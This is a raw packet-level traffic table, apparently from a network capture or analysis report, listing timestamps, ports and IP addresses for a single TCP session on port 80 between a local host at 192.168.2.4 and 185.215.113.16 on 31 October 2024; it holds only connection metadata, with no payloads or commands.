Oct 31, 2024 23:37:18.699415922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699425936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699426889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699443102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699449062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699455976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699465990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699477911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699481964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699496031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699503899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699507952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699520111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699531078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699537992 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699542046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699553967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699562073 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699567080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699570894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699647903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699659109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699668884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699671030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699680090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699691057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699692011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699702978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699713945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699713945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699727058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699738026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699748993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699748993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699769974 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699793100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699805975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699815035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699817896 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699826956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699837923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699842930 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699850082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699856997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699861050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699872971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699886084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699892044 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.699898005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.699918985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700160980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700185061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700268984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700279951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700289965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700303078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700314045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700314999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700325012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700336933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700340986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700361967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700362921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700376034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700387001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700391054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700398922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700404882 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700412035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700423002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700433969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700442076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700444937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700457096 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700469017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700480938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700490952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700493097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700510025 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700571060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700582981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700593948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700606108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700617075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700637102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700709105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700721025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700732946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700733900 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700754881 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700896025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700907946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700917006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700927973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700938940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700948954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700959921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700962067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700972080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700982094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.700984955 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.700994015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701004982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701016903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701016903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701020956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701034069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701042891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701045036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701056957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701066017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701070070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701081991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701092005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701095104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701103926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701114893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701124907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701126099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701139927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701148033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701150894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701164007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701169968 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701178074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701179981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701385975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701396942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701406956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701410055 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701419115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701430082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701431990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701441050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701451063 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701453924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701466084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701483965 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701524973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701541901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701546907 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701554060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701565027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701577902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701581001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701590061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701598883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701675892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701688051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701697111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701700926 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701709032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701716900 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701720953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701734066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701745033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701745033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701766014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701783895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701790094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701793909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701802969 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701807022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701819897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701828003 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701837063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701847076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701858997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701863050 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701869965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701881886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701893091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701896906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701905966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701914072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701917887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701925993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.701972961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701984882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701994896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.701999903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702007055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702016115 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702018976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702033997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702040911 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702050924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702061892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702066898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702071905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702078104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702084064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702095985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702106953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702111006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702111006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702148914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702159882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702169895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702173948 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702181101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702193022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702193975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702227116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702227116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702357054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702404022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702414989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702461958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702486038 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702513933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702526093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702536106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702548981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702558994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702708960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702721119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702733040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702734947 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702744007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702756882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702758074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702769041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702779055 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702860117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702872038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702882051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702882051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702893019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702904940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702908993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702915907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702927113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702938080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702950954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702950954 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702955008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702966928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702976942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702977896 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.702987909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.702999115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703001976 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703011036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703022957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703032017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703033924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703042030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703047037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703068018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703102112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703113079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703121901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703131914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703144073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703155041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703165054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703165054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703176022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703186989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703186989 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703206062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703217983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703236103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703247070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703258038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703260899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703269958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703282118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703290939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703295946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703305960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703310013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703321934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703330040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703346014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:18.703353882 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.703751087 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.714723110 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.971260071 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:18.976197958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.255897045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.255911112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.255918980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.255950928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.255987883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.256027937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.256028891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.256040096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.256051064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.256086111 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.256962061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.256972075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.256983042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.256993055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.257002115 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.257004976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.257013083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.257015944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.257050991 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.306545019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.372912884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.372973919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.372982979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373025894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373038054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373048067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373056889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373068094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373079062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373090029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373100042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373121977 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373292923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373303890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373312950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373322964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373337030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373339891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373352051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373363018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373364925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373373985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373384953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373388052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373402119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373421907 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373440981 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373476028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373486996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373497009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373508930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373518944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373522043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373529911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373541117 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373553038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373565912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.373578072 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.373608112 CET	49739	80	192.168.2.4	185.215.113.16
